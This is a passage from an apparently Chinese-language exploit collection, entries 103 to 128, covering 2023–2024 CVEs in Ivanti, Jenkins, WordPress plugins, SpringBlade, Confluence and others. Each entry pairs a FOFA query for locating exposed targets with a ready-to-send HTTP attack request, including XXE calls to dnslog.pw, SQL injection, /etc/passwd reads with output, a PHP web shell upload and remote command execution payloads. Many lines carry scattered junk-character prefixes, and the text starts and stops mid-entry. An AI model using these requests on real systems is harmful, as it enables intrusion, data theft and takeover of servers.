</ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
2 p: m  x3 `9 j0 m0 B0 N
103. Ivanti Pulse Connect Secure VPN XXE
4 L5 Z- y# x- lCVE-2024-22024
. \2 a# L- }* {. S% aFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
" m9 L) I7 G; ^/ ]9 nHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
7 }: U) L! I' gConnection: close
7 w  M8 T5 w% ?% |2 ~/ V% VContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
- b7 Z. P$ H/ I0 E6 G
% R/ E- q4 p7 v# Z8 J  h+ F: Y) vSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
" E4 G1 \% \+ Y: c+ y- W% y

: d! ^. ?9 \1 d4 X& g其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


! o) R' G% D/ T& r% i( J& y& p: m8 o104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
- Y' p  W  X" nFOFA：title="TOTOLINK"
- ^" x) N* h9 x$ Q/ s' LPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
  T+ _2 J# n' E* O# AAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
4 K% s. W* }# L1 z! H; TUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

; [) s: }. f& T3 F( d{
. w) N$ K$ J# Z4 p* {) k"topicurl":"getSysStatusCfg",
% K6 X1 K" o$ D  T"token":""
2 X3 Q  p8 M1 l3 }+ h}

105. SpringBlade v3.2.0 export-user SQL 注入
( h3 a! {$ a8 W3 QFOFA：body="https://bladex.vip"
9 e  T8 L3 P' x$ R. g) Thttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
( F+ U9 B. D2 D  A. S/ {# U; h
1 b5 t4 m# k1 N) Q8 K. e106. SpringBlade dict-biz/list SQL 注入
: ]$ {3 Y5 _) x: s3 `9 i6 IFOFA：body="Saber 将不能正常工作"
# c3 H, @" M4 ]6 E$ v$ t5 z5 y  x$ t& o2 VGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
, H/ \& C* J, D7 u) q( c) qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
- |' e$ X9 L: I- X& J7 N! }Accept-Encoding: gzip, deflate
& _4 s( A) K4 DAccept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
+ l8 a) t% G' ]( Z2 fFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
) q" q5 T( G& V$ G, E. ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
5 P! m1 ~6 W* s; t

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
6 E; a& [6 N5 M: X9 a4 d, o- `8 iGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
0 R; S8 p" Q* l# ?" M0 WAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 G7 B* W0 |' c  Z% fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

' B- M* n8 D( X! c' c5 K0 ]. {) f
/ _  T* u  _  g' f109. Jenkins CLI 任意文件读取
CVE-2024-23897
! r2 g# w, ~$ G' z) p3 ~FOFA：header="X-Jenkins"
4 L/ @7 Z) d- u% |- V) KPOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
+ o: o$ P4 h! Z3 Z3 w. k" x% Y& _& bSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163
- B9 s; h+ o3 H& f; J! G$ n
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


8 [3 Q" i/ P, c' O% kPOST /cli?remoting=false HTTP/1.1
2 d( Y! @6 M; q  E+ y' UHost:
3 K* Z2 {5 C/ `5 k& k! f3 KSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
# l' v, _# j# N# @. Odownload
9 }" [  \0 R6 T+ y- z/ cContent-Type: application/x-www-form-urlencoded
( r5 F# J$ o9 D- B7 PContent-Length: 0
4 U; g* v) F$ ^; C
9 ^6 N% H4 |: J! }. u8 r) \3 k* V
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
" m( H: ?0 ]; D9 V- _1 a! pjava -jar jenkins-cli.jar help
0 ~. Z2 v% ]  t! G3 z0 H[COMMAND]
Lists all the available commands or a detailed description of single command.
' v1 {9 ]0 {# B COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
, k; x+ m* ~& D4 x/ L( f5 D: o
' b/ o0 @4 I9 L5 {
110. Goanywhere MFT 未授权创建管理员
7 _0 d% r: g/ _8 |' B  r- h2 iCVE-2024-0204
/ l6 c& X" `% o0 WFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
: j1 w9 w+ M) ZUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
( `8 N5 u* `! M  Z( W6 }  E  ]Accept: */*
2 b" K+ p- P& b0 k0 jAccept-Language: en
Accept-Encoding: gzip
- G/ ~$ ]3 E- Y8 @! d+ V9 |

# L' f$ o1 y. N111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
* [) C/ e3 I2 [1 ]" FHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
4 N1 F: J& W" C/ a7 S9 mAccept: */*
Accept-Language: en
; k  y! }2 Z/ W5 `" z; m3 A" O  jAccept-Encoding: gzip
) d, R/ _1 W% \1 W; c* O
6 F, a) ]+ h3 S9 t6 a
, Q" H# @2 A& z% ?1 g, A& c112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
% P# S: b: {  w! \: z- s; cPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
7 }' O' S: J6 G- c5 ]Content-Type: application/json
2 E/ k2 _9 t1 ?/ h9 C
8 F4 d, V1 D# \8 S  y( m) T{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
. y6 P& \: \2 p" Y6 ~" FCVE-2024-27954
7 y3 k! |4 t5 |. Z6 tFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
' u9 E7 v* a( H; mUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
0 T! Y7 m/ R. ]+ _0 oConnection: close
) M, I; d$ }, hAccept: */*
Accept-Language: en
Accept-Encoding: gzip

+ I& V2 u! Z4 W" ?9 Z% \. v
% L! C* w) T2 o# a  \9 k) G5 K4 v6 D114. WordPress MasterStudy LMS插件 SQL注入
, B+ z( I- X* E9 b: |FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
# ~0 Y3 D' r1 P' x- CHost: your-ip
+ p% d$ Z1 d1 M+ o( s( W  PUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
$ f) R, u  [: ZAccept-Charset: utf-8
7 S, ~7 i# }) c9 a1 i1 o& y. M/ \Accept-Encoding: gzip, deflate
Connection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
9 w8 M4 }# m% S; k2 JCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
: a/ A/ H# d( ^! D) qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
8 B) p& l/ D$ \; T+ S% P9 x

$ M2 E; r. a; i' g7 g第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
& N# l7 a3 x0 @: v% C) wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
; M- G6 N0 D  _( H6 K  t  tContent-Length: 356
Content-Type: application/json
# x  M: \+ q. a2 gAccept-Encoding: gzip

  u: Y( O4 v1 b& v4 ^& a{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
! ?) w4 Y- j( w0 w    "name": "container",
    "settings": {
, c/ [9 l9 q0 \3 `( G! b! T# d      "hasLoop": "true",
* E1 ]  @( a/ y% ^, S$ N7 A9 h# b      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
( D, U$ r: f' h1 b: m( R% Z. Q        "objectType": "post"
# d; `. R/ J+ Y# L      }
( g) ^) n- w+ C' m; V1 T% w: O    }
  }
}


116. wordpress js-support-ticket文件上传
/ Q. C* {9 ^2 F- y2 ]+ ]# C! vFOFA：body="wp-content/plugins/js-support-ticket"
" |# _' ]7 X, ]1 \$ k' kPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
. @, ^+ {/ V" u- |( v6 IHost:
. |" B8 }& }+ d' ~1 ?( Q/ _# lContent-Type: multipart/form-data; boundary=--------767099171
, G/ ]/ X2 X9 r* N4 f/ dUser-Agent: Mozilla/5.0
# I3 b1 ~/ d5 ~% |4 b
9 U* o% N: M! M9 G----------767099171
; t- O/ o& N' ?3 \" dContent-Disposition: form-data; name="action"
configuration_saveconfiguration
2 M* T! s( G+ B5 }----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
% X: K: I6 y0 z( E( GContent-Type: image/png
- M6 P2 q) V# @4 B----------767099171--

5 A0 w3 g" q# h, S# O# V
117. WordPress LayerSlider插件SQL注入
4 U+ t8 x9 [1 ?; _; P7 Wversion：7.9.11 – 7.10.0
' s6 V# [. w) y, I. B6 S3 rFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 u: Z- g+ {5 D! m. _) vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 B# ~) w6 I0 z9 q0 ]Accept-Encoding: gzip, deflate, br
8 A4 ~6 m! S  J0 m4 sConnection: close
Upgrade-Insecure-Requests: 1
+ q  T! ?: V- i3 w$ R) j, g
4 X) `& j' d- K1 ]3 m& o' W
6 S7 ?* L! _  K% e: I' J118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
+ {8 I" r* `4 T7 E* v8 y) HFOFA：title="Smart管理平台"
+ g2 P% }* G  {. S! mPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' }* y: m3 v2 yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. @) E* e0 s& x; \Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
2 l1 `' M5 f8 _% n4 M6 kOrigin: https://192.168.40.130:8443
" m2 y8 U7 P9 L  q5 z& |Referer: https://192.168.40.130:8443/Tool/uploadfile.php
! ?# F& S1 S/ E7 w* UUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
% u/ c6 N- B1 m. i: W  MSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

% e" n6 J( Y; D$ \7 J-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
% O2 Y6 d2 Y$ m+ gContent-Type: application/octet-stream
8 L& ]+ ?2 u2 A% l! i2 `3 d7 n
6 i! ~# B' M4 Z<?php
# Q1 A1 X1 r# }* zsystem($_POST["passwd"]);
?>
. G$ C* Z: V+ N3 u* |1 a4 |& b-----------------------------13979701222747646634037182887
' S9 d+ V* n4 L6 y2 b% i9 S0 \* sContent-Disposition: form-data; name="txt_path"

/home/src.php
- E7 k% _/ f& {8 y$ u2 \-----------------------------13979701222747646634037182887--
: V7 f) L; Q% I# U: _3 v

访问/home/src.php
# P4 s! v* d  l% f3 f1 G
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
+ M) H+ t; n- U; `0 s! H- ^4 c/ yFOFA：title="Smart管理平台"
( N/ M$ X1 C# f3 F5 H8 @" g9 C先登录进入系统，默认账号密码为admin/admin
- s9 G) B1 v8 ^1 M0 C' _+ m" ZPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
4 }0 {; y: [) P/ N9 t. JCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
- D0 a- [! G/ |8 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; }4 Q+ p4 t( \; t; p: gAccept-Encoding: gzip, deflate
1 _2 p: |7 S. SContent-Type: application/x-www-form-urlencoded;
+ ^/ ?- E  |& ~' T: @Content-Length: 109
+ |5 _% X- f2 `- B# J, QOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
/ }- M  `8 m+ Z. ]0 {Sec-Fetch-Mode: cors
7 g9 w+ x2 }( o$ R" Y$ NSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
) o6 y+ N) [1 k% ?1 D; {' t7 \: BX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
! C+ D! U; Q4 z$ uTe: trailers
9 X# P/ T* @  d: v0 G$ ?7 i* v% uConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
. J8 ?) D0 r9 y2 `POST /useratte/web.php? HTTP/1.1
( s* Z3 r; e" M0 U8 FHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
& E: {2 k+ L+ D7 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
8 j2 t# H& Y3 OContent-Length: 597
Origin: https://ip:port
% }! m1 ^7 x2 ~: @9 v/ kReferer: https://ip:port/sysmanage/licence.php
* T2 _, c. V$ U4 [0 h4 @8 v, EUpgrade-Insecure-Requests: 1
# m% H) x7 k+ A" R' fSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
* J; _# P1 W' gSec-Fetch-Site: same-origin
, r6 p' ?# F) p" a: ]: y! oSec-Fetch-User: ?1
, R2 z$ ]* w' N/ g. i* d- qTe: trailers
' o& M9 H6 s: q$ ]4 V' O5 H: X* tConnection: close
, T0 D* {# d9 E! e6 k
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
0 k$ o; [1 ?" g
6 j0 H* c5 {: x' y# P3 |  D. S/ W<?php phpinfo()?>
, P  V4 u" T/ y0 ?: E# I-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
( Q1 u& Y# B5 r
( t% B- a# \% M0 o% t# ?" _/ R1
, }: \& H8 J/ L3 [! L-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

$ C; K; M/ B6 j4 e+ z! V1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

/ N6 K6 g  E; d, [import
, j0 W+ V  y- d+ [-----------------------------42328904123665875270630079328

. l' g/ v6 J0 K/ e3 S& g- m
文件路径/upload/2.php
4 O4 [3 f4 ?; U6 `3 Z+ p
' O' K" R* ]) V2 ^' [$ y* s121. 北京百绰智能S42管理平台userattestation.php任意文件上传
4 i) t% E  \/ I( I) f8 ICVE-2024-1918
0 n  j, O. y4 l" B. T+ iFOFA：title="Smart管理平台"
! Q& H! l; \$ \7 \0 s. z8 dPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
2 k- x- G/ L  F# c0 u) {Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 z8 r1 q  e* K5 @: e, AAccept-Encoding: gzip, deflate
5 b/ R/ r; s  T9 D9 EContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
2 Y9 `9 {, {8 |! [  d: U! n% _Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
6 s5 b( E6 m) V2 L8 q  k7 S7 iSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
4 x" Q* r. W* c! dTe: trailers
6 d# I- N- g; g/ L5 m$ yConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
+ H: N* a+ p$ L( p3 Q( q-----------------------------42328904123665875270630079328
2 Q. ?9 w1 F* z4 P; FContent-Disposition: form-data; name="id_type"
3 f6 r. j8 L/ M. g& c
# O3 e7 V, e; c1
, q. d' y3 g3 r% Z-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
: e+ v* d, Q, k1 w! q2 M
5 N% t/ D5 p& P  j3 p& i5 e1_radhttp
0 |. Q! p) y2 I: W9 l9 d-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
. U7 D; C- W" d5 r/ L8 a; B2 Z( Y
set
-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php

. ?9 ]: d- ?& w1 N" N: y122. 北京百绰智能s200管理平台/importexport.php sql注入
7 X' i3 P4 P& v& v( y, f( k5 b1 V/ _CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
# ^( ^& D6 S. F+ ^; b& u/ b' H  }GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
* p( Z/ q- ^2 X; DHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
$ e% U6 T" G! x$ y3 C3 c. mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) O; ~7 H9 R7 h) Q6 r. uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 C' f1 s0 W! G0 {0 K$ T" }Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
9 n; C" M6 ?- T# `' _* pSec-Fetch-Dest: document
4 f) c$ w; f" Q# M7 d# e/ q4 q1 D5 ^Sec-Fetch-Mode: navigate
- q# E# J5 d; p) z# b5 W6 B6 }# JSec-Fetch-Site: none
' A( G3 y# i% W8 ^( A, ZSec-Fetch-User: ?1
  q5 ]9 k( x7 @2 _0 I5 DTe: trailers
; I7 n) E+ s! w" MConnection: close


/ X) G7 W% ~+ Y123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
' a9 @) Q% {: ]/ LAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
: _( f% I! z7 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
' y. Z# A! v- @Connection: close
$ Y  H* o# n. G' |7 |Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
4 d) l1 _/ d) w* N2 w( M
  h1 J0 U8 n3 |9 ^
124. 湖南建研工程质量检测系统任意文件上传
- X! ]/ o+ _" d; o" M% kFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
  |( N5 ]7 ]" Z2 p8 O6 ?Host: 192.168.40.130:8282
* A0 l6 Q( C. T2 J( O/ tUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) b# v; m! _3 ^2 i1 O7 N- CContent-Length: 72
" w6 {  A' S- I$ oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- j8 q; N9 F; Q+ sAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 n) x$ f& h2 zConnection: close
; z- s& E. ]5 t" HContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
0 f* @* y( _! N2 e

http://192.168.40.130:8282/Scripts/abcgcg.aspx
2 S, ?9 P: j7 q$ a
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
2 N+ C- c+ j5 V$ V$ phttps://github.com/watchtowrlabs ... bypass-add-user-poc

  j5 I' ?9 L4 @
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
) v/ d/ R; U2 m# e6 [1 ^+ K  m, Z
; Z, I7 G3 O$ ]- {$ p6 \% B/ a
创建好用户后直接登录后台，可以执行系统命令。
( S9 s4 V/ ], w: c' W& z
# h0 q" w" n7 K! V126. Aiohttp 路径遍历
& P1 z+ w" a8 r) bFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
8 r. a2 U3 u5 ?Host: x.x.x.x
% d/ V$ o+ i8 n; @: |' ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
% h+ {4 }3 X7 v" l5 W) U: IAccept: */*
3 I3 e# E8 }# V+ o: ^Accept-Language: en
Accept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
5 s5 o  Y- f! p0 Z: W& l- O- GPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
5 P' z0 q% q9 ^( k" {5 U  yHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
/ g1 T: y1 k; ]& i+ J$ CContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 O0 C( v' y6 r3 p: M/ b% p/ tConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
2 o- H, c3 a6 r4 [# H/ R% I' A
7 v3 f4 c! f9 b; G0 {------WebKitFormBoundaryJGgV5l5ta05yAIe0
1 u) i3 u0 t0 \Content-Disposition: form-data;name="SystemName"
) y( |% B/ D  F' q. `
BIM
  n& l- C/ o4 F1 [# U0 y------WebKitFormBoundaryJGgV5l5ta05yAIe0
5 W' {) _. A% s* b. F: eContent-Disposition: form-data;name="Params"
Content-Type: text/plain
  D- z9 q" k; {* G( B; a
<?xml version="1.0" encoding="UTF-8"?>
: H9 e& z/ v" y! W9 e# Z<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
, N0 u$ q/ C/ I5 ^8 B% |>
<test>&t;</test>
* w. b% s, L" }------WebKitFormBoundaryJGgV5l5ta05yAIe0--
6 f) O; I  ]/ y' I3 }, s- C  Y3 Y


128. Adobe ColdFusion 反序列化
; D; _7 @3 Z; ~3 Y4 G4 f' E* O7 dCVE-2023-38203
